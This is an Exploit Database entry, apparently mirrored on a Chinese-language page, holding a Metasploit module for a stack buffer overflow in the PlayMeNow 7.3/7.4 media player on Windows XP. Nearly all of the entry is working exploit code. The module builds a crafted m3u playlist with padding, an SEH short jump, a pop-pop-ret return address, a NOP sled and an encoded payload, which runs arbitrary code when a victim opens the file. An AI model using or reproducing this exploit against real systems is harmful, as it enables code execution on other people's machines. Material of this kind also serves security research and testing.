PlayMeNow 7.3/7.4 – Local Buffer Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： blake
  日期： 2010-01-06
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/11010/

• # Tested on: Windows XP SP3 - English
  # CVE :
  # Code :
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
   include Msf::Exploit::Remote::Seh
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'PlayMeNow versions 7.3 and 7.4 Buffer Overflow Exploit (SEH)',
  'Description' => %q{
  This module exploits a stack overflow in PlayMeNow version 7.3 and 7.4.
  By creating a specially crafted m3u or pls file, an an attacker may be able
  to execute arbitrary code.
  },
  'License' => MSF_LICENSE,
  'Author' => 'Blake',
  'Version' => 'Version 1',
  'References' =>
  [
  [ 'OSVDB', '' ],
  [ 'URL', 'http://www.exploit-db.com/exploits/10556' ],
  ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'seh',
  },
  'Payload' =>
  {
  'Space' => 1428,
  'BadChars' => "\x00\x20\x0a\x0d",
  'StackAdjustment' => -3500,
  'DisableNops' => 'True',
  },
  'Platform' => 'win',
  'Targets' =>
  [
  [ 'Windows XP Universal', { 'Ret' => 0x10020ed7} ], # pop pop ret - AtomicClock.lmd
  
  ],
  'Privileged' => false,
  'DefaultTarget' => 0))
  
  register_options(
  [
  OptString.new('FILENAME', [ false, 'The file name.', 'metasploit.m3u']),
  ], self.class)
  end
  
  
  def exploit
  
  sploit = rand_text_alphanumeric(2360)
  sploit << "\xeb\x06\x90\x90"# short jump 6 bytes
  sploit << [target.ret].pack('V')
  sploit << "\x90" * 20# nop sled
  sploit << payload.encoded
  sploit << rand_text_alphanumeric(1428 - payload.encoded.length)
  
  playlist = sploit
  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(playlist)
  
  end
  
  end